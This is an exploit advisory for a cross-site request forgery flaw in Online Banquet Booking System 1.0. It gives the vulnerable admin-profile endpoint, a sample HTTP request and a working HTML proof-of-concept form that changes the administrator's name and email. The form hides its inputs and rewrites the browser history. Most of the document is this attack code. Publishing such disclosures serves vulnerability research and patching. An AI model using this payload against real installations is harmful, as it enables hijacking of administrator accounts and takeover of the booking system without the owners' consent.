Online Banquet Booking System 1.0 Cross Site Request Forgery

Online Banquet Booking System version 1.0 suffers from a cross site request forgery vulnerability.

MD5 | 5440ce3decaa8c6b0d1937f92bf1b8c6

# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact:

# Description :

The application is not using any security token to prevent it against CSRF. Therefore, malicious user can change admin credentials by using crafted post request.

# HTTPS Request :

POST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1


# Poc Html :

<!-- CSRF PoC - Saud -->
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/obbs/admin/admin-profile.php" method="POST">
<input type="hidden" name="adminname" value="Admin" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="mobilenumber" value="123" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />

Related Posts